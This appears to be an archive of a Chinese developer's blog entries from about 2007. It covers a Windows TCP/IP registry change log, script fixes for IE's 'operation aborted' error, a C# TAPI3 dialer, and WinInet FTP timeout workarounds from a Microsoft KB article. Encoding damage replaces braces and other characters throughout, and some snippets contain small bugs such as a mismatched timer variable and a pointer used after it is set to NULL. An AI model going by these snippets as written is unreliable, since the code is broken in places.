deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;4CEE2C98-D034-4AAE-9409-88B93B05B59E&rightsign;\\IpAutoconfigurationMask
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;4CEE2C98-D034-4AAE-9409-88B93B05B59E&rightsign;\\IpAutoconfigurationSeed
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;4CEE2C98-D034-4AAE-9409-88B93B05B59E&rightsign;\\RawIpAllowedProtocols
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;4CEE2C98-D034-4AAE-9409-88B93B05B59E&rightsign;\\TcpAllowedPorts
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;4CEE2C98-D034-4AAE-9409-88B93B05B59E&rightsign;\\UdpAllowedPorts
old REG_MULTI_SZ =
0
added SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;65234574-031F-4505-B062-6494A6FBCC34&rightsign;\\AddressType
added SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;65234574-031F-4505-B062-6494A6FBCC34&rightsign;\\DisableDynamicUpdate
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;65234574-031F-4505-B062-6494A6FBCC34&rightsign;\\RawIpAllowedProtocols
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;65234574-031F-4505-B062-6494A6FBCC34&rightsign;\\TcpAllowedPorts
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;65234574-031F-4505-B062-6494A6FBCC34&rightsign;\\UdpAllowedPorts
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\DefaultGateway
old REG_MULTI_SZ =
192.168.35.1
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\DefaultGatewayMetric
old REG_MULTI_SZ =
0
added SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\DisableDynamicUpdate
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\EnableDhcp
old REG_DWORD = 0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\IpAddress
old REG_MULTI_SZ =
192.168.35.151
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\IpAutoconfigurationAddress
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\IpAutoconfigurationMask
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\IpAutoconfigurationSeed
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\NameServer
old REG_SZ = 61.154.22.41
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\RawIpAllowedProtocols
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\SubnetMask
old REG_MULTI_SZ =
255.255.255.0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\TcpAllowedPorts
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;8A2BABCF-BF7E-4BA4-801F-464AC8AC782B&rightsign;\\UdpAllowedPorts
old REG_MULTI_SZ =
0
added SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;A733A4F4-0A36-4A30-8D0C-A74630087AF2&rightsign;\\DisableDynamicUpdate
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;A733A4F4-0A36-4A30-8D0C-A74630087AF2&rightsign;\\IpAutoconfigurationAddress
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;A733A4F4-0A36-4A30-8D0C-A74630087AF2&rightsign;\\IpAutoconfigurationMask
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;A733A4F4-0A36-4A30-8D0C-A74630087AF2&rightsign;\\IpAutoconfigurationSeed
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;A733A4F4-0A36-4A30-8D0C-A74630087AF2&rightsign;\\RawIpAllowedProtocols
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;A733A4F4-0A36-4A30-8D0C-A74630087AF2&rightsign;\\TcpAllowedPorts
old REG_MULTI_SZ =
0
reset SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\&leftsign;A733A4F4-0A36-4A30-8D0C-A74630087AF2&rightsign;\\UdpAllowedPorts
old REG_MULTI_SZ =
0
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\DontAddDefaultGatewayDefault
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\EnableIcmpRedirect
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\EnableSecurityFilters
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\SearchList
deleted SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\UseDomainNameDevolution
<completed>
20070121 ie 无法打开 INTERNET 站点
www.yippeesoft.com
Internet Explorer 无法打开Internet站点http://www.yippeesoft.com/blog/index.php
资料:
Internet Explorer 无法打开 Internet 站点
Internet Explorer 4.x
Internet Explorer cannot open the Internet site Web address.A connection with the server could not be established.
Internet Explorer 5
The page cannot be displayed
The page you are looking for is currently unavailable.The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings.
Cannot find server or DNS Error
原因
如果满足下列任一条件,就可能显示该错误信息: • 计算机上安装了 Wsock32.dll 文件的多个副本。
• 计算机上安装了 Wsock32.dll 文件的错误版本。
• 如果尝试查看没有权限查看的文件 (file://)。
• 尝试加载 Web 页时,出现连接不稳定、系统资源不足、连接中断等问题。
• 使用 America Online 作为 Internet 服务提供商,但没有安装拨号适配器,而是有一个 AOL 适配器。
• 无法解析 DNS 名称,或者 DNS 服务器返回错误。
• 被损坏的 Cookie 也可能导致 Internet Explorer 5 出现此问题。
• Internet Explorer 的拨号连接设置被配置为使用代理服务器。
打开脚本后的确有无法浏览的问题在 可能是网络脚本问题
这个问题我以前遇到过,一直没有详细的去深究原因,只是以为是服务器关闭连接太快的原因。今天发现这个问题出的很频繁,服务器方面没有改什么,只是上传了新的页面程序而已,应该不会和服务器有关。在对页面进行分析,并搜索了一下网上,发现原来是js在document还没完全load完的时候就试图改变其值导致。
在页面的非模式窗口中的页面经常出现提示"Internet Explorer 无法打开 Internet 站点 ****************已终止操作",但在本机就没有遇到过
自己初步解决!判断iFrame.readyState=="complete"再赋href!
document.body.appendChild() 会导致站点无法下载,出现提示:Internet Explorer无法打开Internet站点 ×××?? 已终止操作。
<p>document.body.appendChild() 会导致站点无法下载,出现提示:Internet Explorer无法打开Internet站点 ×××?? 已终止操作。</p>
打开网页时,提示“internet explore 无法打开internet站点…,已终止操作”,
曾以为是application 的原因,百思不得其解
今天晚上找遍了google、baidu、sogou,还是一无所获
看原页面代码,查找是否 DIV 没有结束,又不是。最后只能判断是JS 的问题了。
不错,正是js引发的错误。
由于页面中用到了下拉条,而且,微软把 select 的属性值设得太高了,层是没办法把他遮挡住的。只能用
错就错在 <iframe 这里了,页面还没完成,就跑 <iframe ,<iframe 还没引发完成就跳转,导致游览器中断,所以就出现了 “internet explore 无法打开internet站点…,已终止操作”,
如下就是网页中用到的js,
function openShim(menu,menuItem)
&leftsign;
if (menu==null) return;
var shim = getShim(menu);
if (shim==null) shim = createMenuShim(menu,getShimId(menu));
。。。。。。。
只要稍微修改为以下就可以了
function openShim(menu,menuItem)
&leftsign;
if (document.readyState!="complete") return ;
if (menu==null) return;
var shim = getShim(menu);
if (shim==null) shim = createMenuShim(menu,getShimId(menu));
。。。。
即加上一个载入判断就可以了。 if (document.readyState!="complete") return ;
“internet explore 无法打开internet站点…,已终止操作”,从此消失
另:遮掩 select 的方法还可以用如下:
var allselect = document.getElementsByTagName("select");
for (var i=0; i &leftsign;
allselect[i].style.visibility = "none";
&rightsign;
嘿嘿,这个问题已经解决,按照上面的提示,在INC文件夹里的main.js文件里修改就OK~~~~~~~~~~~~~~
关于IE无法打开INTERNET站点的错
??????? 今天新页面上线,很多同事报告说页面打开到一半,经常跳出无法打开Internet站点的错误,然后页面会跳转到DNS错误的页面。
?????
????????
??????? 这个问题我以前遇到过,一直没有详细的去深究原因,只是以为是服务器关闭连接太快的原因。今天发现这个问题出的很频繁,服务器方面没有改什么,只是上传了新的页面程序而已,应该不会和服务器有关。在对页面进行分析,并搜索了一下网上,发现原来是js在document还没完全load完的时候就试图改变其值导致。
??????? 因此对js做如下改变:
原js:
???? window.settimeout("go()",500);
???? function go()&leftsign;
??? …….
???? &rightsign;
改成:
var go_i=window.setInterval("go()",500);
function go()&leftsign;
???if(document.readyState=="complete")&leftsign;
????? window.clearInterval(go2_i);
??? &rightsign;
????else return;
??? ……..
&rightsign;
目的就是让他一定要在document完成后才执行那个操作
昨天晚上添加了展现/隐藏菜单的按钮,今天早晨一打开博客,出现Internet Explorer 无法打开 Internet站点已终止操作。开始以为是网络的问题,可是刷新以后问题依旧。在google上搜索有网友采用document.readyState!="complete"来判断状态,我没有试成功。但是此时问题已经比较明显,在页面没有完全加载的时候就调用了insertAjacementElement。msdn中说到在用AppendChild的时候容易出现该问题,解决办法是采用setTimeout。经过反复的试验,其实主要是单双引号的匹配问题,终于成功。现贴出代码
[img onload ="
window.setTimeout(function()&leftsign;&leftsign;var div=document.createElement(\’span\’);
document.body.insertAdjacentElement(\’beforeEnd\’,div);
var main=document.getElementById(\’main\’);
div.style.cssText=\’position:absolute;display:block;top:44;left:2;width:90;height:20;color:green;background:#D8E4F8;border:2 outset;cursor:hand;\’;
div.innerText=\’<<收回菜单\’;
div.onclick=function()
&leftsign;
var isHide=(leftmenu.style.display==\’none\’);
leftmenu.style.display=isHide?\’block\’:\’none\’;
div.innerText=isHide?\’<<收回菜单\’:\’展开菜单>>\’;
if(leftmenu.style.display!=\’block\’)
&leftsign;
main.style.marginLeft=0;
&rightsign;
else
&leftsign;
main.style.marginLeft=180;
&rightsign;
&rightsign;
&rightsign;&rightsign;,3000);" width="0" height="0" style="display:none" src
20070108 dialer internet 电话 TAPI 3.0
“电话拨号程序”概述电话拨号程序允许从个人计算机上进行语音电话、视频电话及会议视频电话。
要打电话,只需有对方的电话号码、IP 地址或域名系统 (DNS) 名称。电话拨号程序使您可以用连接计算机的电话进行呼叫,呼叫可以从调制解调器经过网络,再经过电话交换机连接到局域网 (LAN) 或 Internet 地址。
微软自带一个 H323 TSP,可是不知道这玩意怎么用
(3) Telephony Service Providers Telephony Service Providers(TSPs)负责独立于低层协议的呼叫模型并解释为特定协议的呼叫控制机制。TAPI3.0对TAPI 2.1 TSPs提供可靠的后向兼容性,两个IP TSPs缺省地与微软的TAPI3.0相匹配:一个是H.323 TSPs,另一个是IP广播会议的TSP。
Windows Server 2003包括许多网络功能的加强,适用于新的企业网络应用.本文介绍了网络服务部分新的特性和增强功能.讨论了Windows Server 2003实现的网络服务支持的改进,并简要地介绍了部分新特性的应用场合.
TAPI3.1 和TAPI 服务提供(TSP)
先前的Windows操作系统内置了早版本的电话API,例如Windows 2000内置TAPI3.0.TAPI可以为用户创建各种类型的电话服务应用.TAPI 3.1支持Microsoft COM并为程序员提供了一组COM对象.这使得使用任何COM兼容编程应用和脚本语言都可以写出电话应用.同样包含在Windows Server 2003中的TAPI服务提供基于H.323的IP电话和TCP/IP网络上的IP组播的音频和视频会议.这在早版本的Windows TSPs 提供的功能中是没有的.H.323 TSP和媒体服务提供(MSP)提供对H.323 版本2功能的支持.
TAPI3.1同时提供了:文件终端;可插入终端;USB电话TSP;TAPI服务的自动发现.
此外,对于H.323 还实现了丰富的呼叫控制服务:CALL Hold服务,Call Transfer服务, Call Diversion服务, Call Park 和Pickup服务.
TAPI3.0包含有4个主要的代码单元:TAPI3.0 COM对象、TAPI服务器、电话服务提供单元(TSPs)和媒体服务提供单元(MSPs)。
TAPI3.0的COM对象主要有以下5个:TAPI、地址、终端、电话和电话集线器,
如何使用tapi对象
用tapi能够比较方便地执行一个呼叫和作一个呼叫应答,它对电话的操作方便快捷,给编程者带来了很大的方便。下面是执行一个呼叫和呼叫应答的大体过程。
执行一个呼叫
1. 创建和初始化一个tapi对象
2. 用tapi对象解析在一个计算机上的可用地址
3. 解析每一个地址对象所支持的地址类型
4. 选择一个地址对象
5. 用address对象中的createcall方法创建一个call对象
6. 选择call对象的适当终端
7. 用call对象的connect方法执行一次呼叫
呼叫应答
1. 创建和初始化一个tapi对象
2. 用tapi对象解析在一个计算机上的可用地址
3. 解析每一个地址对象所支持的地址类型
4. 选择一个地址对象
5. 根据不同的媒体类型用适当的address对象来登记
6. 用一个address对象登记呼叫事件句柄
7. tapi通过itcallnotification通知一个呼叫,并创建一个call对象
8. 选择call对象的适当终端
9. 用call对象的connect方法执行呼叫
10. 用call对象的answer方法执行应答
电话服务 API (TAPI) 允许您配置所有电话程序的拨号规则。如果在配置拨号之前运行支持 TAPI 的程序(例如电话拨号程序),程序通常提示要求拨号所需的最简信息。要完整地配置某计算机上的拨号规则,请使用“控制面板”中的“电话和调制解调器选项
概述:TAPI3.0是微软提供的COM组件,集成了传统电话的媒体流控制功能,是电话应用程序设计普遍采用的编程接口.文中介绍了TAPI3.0的基本功能和体系结构,然后从初始化、建立呼叫连接、呼叫应答以及消息响应这几方面详细阐述了通过TAPI3.0实现IP电话连接和控制的原理与方法.利用微软提供的TAPI3.0编程接口,开发了一个实现IP呼叫连接和控制的应用程序,在实际应用中运行稳定,取得了较好的效果.
我用C# 通过TAPI3写了一段拨号程序,可以正常拨号,对方也可以接听,但是却听不到我的声音,我可以听到他的。和用超级终端一样,我觉得不应该是程序的问题,应该是我的硬件设置的问题。请教有过这种应用的朋友,你们是怎么做的。
C#代码如下:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using TAPI3Lib;
namespace MyTAPI_CS_1
&leftsign;
public partial class Form1 : Form
&leftsign;
public delegate void eventHandler(TAPI3Lib.CALL_STATE cs, string str);
private TAPIClass tapiclass;
private ITAddress[] itaddress=new ITAddress[10];
private IEnumAddress ienumaddress;
private ITBasicCallControl itbasiccallctrl;
private int currentline=0;
public Form1()
&leftsign;
InitializeComponent();
&rightsign;
private void Form1_Load(object sender, EventArgs e)
&leftsign;
uint reg=0;
tapiclass = new TAPIClass();
tapiclass.Initialize();
//添加TAPI事件处理
tapiclass.ITTAPIEventNotification_Event_Event += new ITTAPIEventNotification_EventEventHandler(this.Event);
tapiclass.EventFilter = (int)(TAPI_EVENT.TE_CALLNOTIFICATION &line;
TAPI_EVENT.TE_DIGITEVENT &line;
TAPI_EVENT.TE_PHONEEVENT &line;
TAPI_EVENT.TE_CALLSTATE &line;
TAPI_EVENT.TE_GENERATEEVENT &line;
TAPI_EVENT.TE_GATHERDIGITS &line;
TAPI_EVENT.TE_REQUEST);
groupBox1.Enabled = false;
ienumaddress = tapiclass.EnumerateAddresses();
for (int i = 0; i < 10; i++)
&leftsign;
ienumaddress.Next(1, out itaddress[i], ref reg);
if (itaddress[i] != null)
&leftsign;
comboBox1.Items.Add(itaddress[i].AddressName);
&rightsign;
else
break;
&rightsign;
&rightsign;
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
&leftsign;
int reg;
currentline = comboBox1.SelectedIndex;
reg=tapiclass.RegisterCallNotifications(itaddress[currentline], true, true, TapiConstants.TAPIMEDIATYPE_AUDIO, 2);
MessageBox.Show("注册线路的事件处理,返回值:"+reg.ToString());
groupBox1.Enabled = true;
&rightsign;
//拨号
private void button1_Click(object sender, EventArgs e)
&leftsign;
itbasiccallctrl = itaddress[currentline].CreateCall(textBox1.Text, TapiConstants.LINEADDRESSTYPE_PHONENUMBER, TapiConstants.TAPIMEDIATYPE_AUDIO);
itbasiccallctrl.Connect(false);
&rightsign;
//挂机
private void button2_Click(object sender, EventArgs e)
&leftsign;
itbasiccallctrl.Disconnect(DISCONNECT_CODE.DC_NORMAL);
&rightsign;
public void eventdispose(TAPI3Lib.CALL_STATE cs, string str)
&leftsign;
listBox1.Items.Add(str);
&rightsign;
public void Event(TAPI3Lib.TAPI_EVENT te, object eobj)
&leftsign;
string str = "";
switch (te)
&leftsign;
case TAPI3Lib.TAPI_EVENT.TE_CALLSTATE:
TAPI3Lib.ITCallStateEvent itcallstateevent = (TAPI3Lib.ITCallStateEvent)eobj;
TAPI3Lib.ITCallInfo itcallinfo = itcallstateevent.Call;
switch (itcallinfo.CallState)
&leftsign;
case TAPI3Lib.CALL_STATE.CS_OFFERING:
str = "ring";
Invoke(new eventHandler(eventdispose), TAPI3Lib.TAPI_EVENT.TE_CALLSTATE, str);
break;
&rightsign;
break;
&rightsign;
&rightsign;
&rightsign;
&rightsign;
070102 InternetOpen thread timerout
如何通过创建另一个线程控制连接超时值
How To Control Connection Timeout Value by Creating Second Thread
SUMMARY
This acticle shows a workaround to the InternetSetOption API bug on setting timeout values by creating a second thread. For information about the bug, please see the following article in the Microsoft Knowledge Base:
176420 (http://support.microsoft.com/kb/176420/EN-US/) InternetSetOption Does Not Set Timeout Values
MORE INFORMATION
The following sample code controls how long to wait while connecting to the FTP server in WinInet. It creates a worker thread to call the blocking WinInet APIs. If the connection takes more time than the specified timeout value, the original thread will call InternetCloseHandle to release the blocking WinInet function. For HTTP communications the same idea applies. In the case of HTTP, the actual connection occurs in the call to HttpSendRequest.
要对设置超值 InternetSetOption API 错误由创建另一个线程此 acticle 显示解决。 有关错误, 请参见下列文章 Microsoft 知识库文章:
176420 (http://support.microsoft.com/kb/176420/EN-US/) InternetSetOption 不设置超时值
要连接到 FTP 服务器 WinInet 中时等待时间以下示例代码控件。 创建辅助线程以调用阻塞 WinInet API。 如果该连接所花的时间比指定超值, 原始线程将调用 InternetCloseHandle 来释放阻塞 WinInet 函数。 对于 HTTP 通讯应用同一思路。 万一有 HTTP, 实际连接发生在 HttpSendRequest 调用。 #include <windows.h>
#include <wininet.h>
#include <iostream.h>
DWORD WINAPI WorkerFunction( LPVOID );
HINTERNET g_hOpen, g_hConnect;
typedef struct
&leftsign;
CHAR* pHost;
CHAR* pUser;
CHAR* pPass;
&rightsign; PARM;
void main()
&leftsign;
CHAR szHost[] = "localhost";
CHAR szUser[] = "JoeB";
CHAR szPass[] = "test";
CHAR szLocalFile[] = "localfile";
CHAR szRemoteFile[] = "remotefile";
DWORD dwExitCode;
DWORD dwTimeout;
PARM threadParm;
g_hOpen = 0;
if ( !( g_hOpen = InternetOpen ( "FTP sample",
LOCAL_INTERNET_ACCESS,
NULL,
0,
0 ) ) )
&leftsign;
cerr << "Error on InternetOpen: " << GetLastError() << endl;
return ;
&rightsign;
// Create a worker thread
HANDLE hThread;
DWORD dwThreadID;
threadParm.pHost = szHost;
threadParm.pUser = szUser;
threadParm.pPass = szPass;
hThread = CreateThread(
NULL, // Pointer to thread security attributes
0, // Initial thread stack size, in bytes
WorkerFunction, // Pointer to thread function
&threadParm, // The argument for the new thread
0, // Creation flags
&dwThreadID // Pointer to returned thread identifier
);
// Wait for the call to InternetConnect in worker function to complete
dwTimeout = 5000; // in milliseconds
if ( WaitForSingleObject ( hThread, dwTimeout ) == WAIT_TIMEOUT )
&leftsign;
cout << "Can not connect to server in "
<< dwTimeout << " milliseconds" << endl;
if ( g_hOpen )
InternetCloseHandle ( g_hOpen );
// Wait until the worker thread exits
WaitForSingleObject ( hThread, INFINITE );
cout << "Thread has exited" << endl;
return ;
&rightsign;
// The state of the specified object (thread) is signaled
dwExitCode = 0;
if ( !GetExitCodeThread( hThread, &dwExitCode ) )
&leftsign;
cerr << "Error on GetExitCodeThread: " << GetLastError() << endl;
return ;
&rightsign;
CloseHandle (hThread);
if ( dwExitCode )
// Worker function failed
return ;
if ( !FtpGetFile ( g_hConnect,
szRemoteFile,
szLocalFile,
FALSE,INTERNET_FLAG_RELOAD,
FTP_TRANSFER_TYPE_ASCII,
0 ) )
&leftsign;
cerr << "Error on FtpGetFile: " << GetLastError() << endl;
return ;
&rightsign;
if ( g_hConnect )
InternetCloseHandle( g_hConnect );
if ( g_hOpen )
InternetCloseHandle( g_hOpen );
return ;
&rightsign;
/////////////////// WorkerFunction //////////////////////
DWORD WINAPI
WorkerFunction(
IN LPVOID vThreadParm
)
/*
Purpose:
Call InternetConnect to establish a FTP session
Arguments:
vThreadParm – points to PARM passed to thread
Returns:
returns 0
*/
&leftsign;
PARM* pThreadParm;
// Initialize local pointer to void pointer passed to thread
pThreadParm = (PARM*)vThreadParm;
g_hConnect = 0;
if ( !( g_hConnect = InternetConnect (
g_hOpen,
pThreadParm->pHost,
INTERNET_INVALID_PORT_NUMBER,
pThreadParm->pUser,
pThreadParm->pPass,
INTERNET_SERVICE_FTP,
0,
0 ) ) )
&leftsign;
cerr << "Error on InternetConnnect: " << GetLastError() << endl;
return 1; // failure
&rightsign;
return 0; // success
&rightsign;
1230 CFtpConnection 超时 CInternetSession
void CVcDlg::OnButton2()
&leftsign;
// TODO: Add your control notification handler code here
// s.Close();
CFtpConnection *m_pFtpConnection;
CInternetSession m_Session;
m_pFtpConnection = NULL;
m_Session.SetOption(INTERNET_OPTION_CONNECT_TIMEOUT,1000*2);
m_Session.SetOption(INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, 1000*15);
m_Session.SetOption(INTERNET_OPTION_DATA_SEND_TIMEOUT, 1000*10);
m_Session.SetOption(INTERNET_OPTION_CONNECT_BACKOFF,1000);
m_Session.SetOption(INTERNET_OPTION_CONNECT_RETRIES,1);
try
&leftsign;
// Here usr is the username, pwd is the password
// and ftpsite.com is the name of the ftp site which
// you want to connect to.
m_pFtpConnection = m_Session.GetFtpConnection("192.168.33.250",
"123","123",INTERNET_INVALID_PORT_NUMBER);
&rightsign;
catch(CInternetException *pEx)
&leftsign;
pEx->ReportError(MB_ICONEXCLAMATION);
m_pFtpConnection = NULL;
pEx->Delete();
&rightsign;
m_pFtpConnection->GetFile("234l","C:\\123",
TRUE,FILE_ATTRIBUTE_NORMAL,FTP_TRANSFER_TYPE_BINARY,1);
m_Session.Close();
m_pFtpConnection->Close();
if(m_pFtpConnection!=NULL)
delete m_pFtpConnection;
&rightsign;
结果发现超时比较长,找找资料
BUG: InternetSetOption does not set timeout values
SYMPTOMS
Calling InternetSetOption (or MFC CHttpFile::SetOption) with INTERNET_OPTION_SEND_TIMEOUT or INTERNET_OPTION_CONNECT_TIMEOUT does not set the specified timeout values.
RESOLUTION
To work around the problem you can use asynchronous WinInet mode, which prevents the WinInet function call from blocking while waiting for a connection. Please see the Internet Client SDK documentation for more information about using WinInet asynchronously. Another solution may be to create a second thread that would call blocking WinInet API. Closing the handle from within the original thread will cancel blocking API in the second thread. Please see documentation for InternetCloseHandle for more details.
INTERNET_OPTION_RECEIVE_TIMEOUT no longer works in Microsoft Internet Explorer 5.0.
For more information, click the following article number to view the article in the Microsoft Knowledge Base:
STATUS
Microsoft has confirmed that this is a bug in the Microsoft products that are listed in the "Applies to" section.
The latest version of the Wininet.dll file that is included with MIcrosoft Internet Explorer 5.01 fixes all time-out problems for HTTP APIs only. FTP time-outs still cannot be changed. Internet Explorer 5.01 is available for download.
MORE INFORMATION
InternetSetOption works for INTERNET_OPTION_RECEIVE_TIMEOUT. The receive timeout option controls how long to wait for incoming data to become available. It does not control how long to wait while connecting to or sending data to the server. If the network is down or the server is not available, a WinInet function call that makes a connection (HttpSendRequest, for example) can potentially block for a long time.
调用带有 INTERNET_OPTION_SEND_TIMEOUT 或 INTERNET_OPTION_CONNECT_TIMEOUT InternetSetOption (或 MFC CHttpFile::SetOption) 不设置指定超时值。 解决方案
要解决问题使用异步 WinInet 模式, 防止 WinInet 函数调用从等待建立连接时阻塞。 请参阅 InternetClientSDK 文档有关异步使用 WinInet。 其他解决方案可能要创建二线程将调用阻塞 WinInet API。 将关闭句柄从原始线程中取消第二个线程中阻塞 API。 请参阅文档对于 InternetCloseHandle 有关详细信息。
INTERNET_OPTION_RECEIVE_TIMEOUT 不再适用于 Microsoft Internet Explorer 5.0。
对于 HTTP API 只最新版本的 Wininet.dll 文件所附带 MIcrosoft Internet Explorer 5.01 修复所有超时问题。 FTP 超时仍能更改。 Internet Explorer 5.01 可用于下载。InternetSetOption 适用于 INTERNET_OPTION_RECEIVE_TIMEOUT。 时间以等待传入数据变为可用接收超选项控制。 要连接到或向服务器发送数据时等待它不控制长短。 建立连接 (HttpSendRequest, 例如) WinInet 函数调用如果网络已关闭或服务器没有, 可可能阻止为长时间
这篇文章中的信息适用于:
• Microsoft ActiveX SDK
• Microsoft Internet Client Software Development Kit 4.0
• Microsoft Internet Client Software Development Kit 4.01
• Microsoft Internet Explorer 5.0
• Microsoft Internet Explorer (Programming) 6 (SP1)
• Microsoft Pocket PC 2002 Software Standard Edition
• Microsoft Pocket PC 2002 Phone Edition Software
*
网络连接请求时间超时值在数毫秒级。如果连接请求时间超过这个超时值,请求将被取消。
缺省的超时值是无限的。
*/
m_pSession->SetOption(INTERNET_OPTION_CONNECT_TIMEOUT,1000* ntimeOut);
/* 在重试连接之间的等待的延时值在毫秒级。*/
m_pSession->SetOption(INTERNET_OPTION_CONNECT_BACKOFF,1000);
/* 在网络连接请求时的重试次数。如果一个连接企图在指定的重试次数后仍失败,则请求被取消。 缺省值为5。 */
m_pSession->SetOption(INTERNET_OPTION_CONNECT_RETRIES,1);
m_pSession->EnableStatusCallback(TRUE);
1219 IE7 Internet Explorer 7
想想还是没有安装升级
英语 资源占用 等
资料
Internet Explorer 7 worldwide
Internet Explorer 7 is now available in Arabic, Dutch, Finnish, French, German, Italian, Japanese, Korean, Brazilian Portuguese, Russian, and Spanish. More language versions of Internet Explorer 7 will be available over the next few months. Check this page in the coming weeks to find a version of Internet Explorer 7 in your preferred language. To download Internet Explorer 7 in one of these languages, visit a worldwide download page:
Austria
Belgium
Brazil
Finland
France
Germany
Italy
Japan
Korea
Latin America
Middle East (Arabic)
Netherlands
Russia
Spain
Switzerland (French)
Switzerland (German)
没有简体中文的
一定一定要记住安装后勾选安装界面的"Do not restart now",先不要重启!等复制normaliz.dll到Windows的System32目录下再重启!其实先复制normaliz.dll到Windows的System32目录下也是可以的!
我今天刚装了一个ie7,想完完新鲜,可是当我双击补丁的时候,系统自己重起,然后就是normaliz.dll加载错误,启动了没有桌面,什么操作都没有办法进行!安全模式都无法启动!我该怎么办?大虾,请救我!
MDF已经被HIPS6产品线替代,但是个人用户没法部署。
Microsoft Windows 恶意软件删除工具
Microsoft Windows 恶意软件删除工具可检查计算机是否受到特定的流行恶意软件的感染。此类恶意软件包括 Blaster、Sasser 和 Mydoom。另外,此工具可帮助删除它在计算机上发现的任何感染。如果计算机受到感染,当您安装 Internet Explorer 7 时,在重启计算机后该工具会提醒您。如果您没有收到感染通知,则表示该工具没有发现感染。
Windows 恶意软件删除工具仅在安装 Internet Explorer 7 过程中扫描一次计算机,它不提供持续的病毒扫描。仅当您通过 Microsoft 网站或通过“自动更新”使用 Windows Update 或 Microsoft Update 为该工具下载一个更新时,该工具才会再次运行。
Windows XP 网络诊断工具
此工具可帮助您发现并修复连接问题。使用电缆调制解调器或数字用户线 (DSL) 调制解调器连接到 Internet 的家庭网络上的计算机会发生这些连接问为我们揭示了为什么部分Outlook无法收取Hotmail的情况:
在IE7安装过程中,验证系统是否合法后,我们都知道会有一个Get the latest updates界面,
该界面默认会下载并安装如下更新,但这些更新普通用户在安装的时候不会知道:
1.当月最新版Malicious Software Removal Tool.
2.KB914440 网络诊断工具.该工具作为一个IE插件存在,本月更新至V12版.
http://support.microsoft.com/kb/914440
3.KB904942 安装IE7后导致Outlook HTTP验证出错问题的修正.
http://support.microsoft.com/kb/904942
在以下情况下不会安装这些补丁:
1.安装过程中未连上网络.
2.安装过程中使用了“/UPDATE-NO”参数,即不获取更新.(该参数可用于无人值守安装,以加快安装速度)
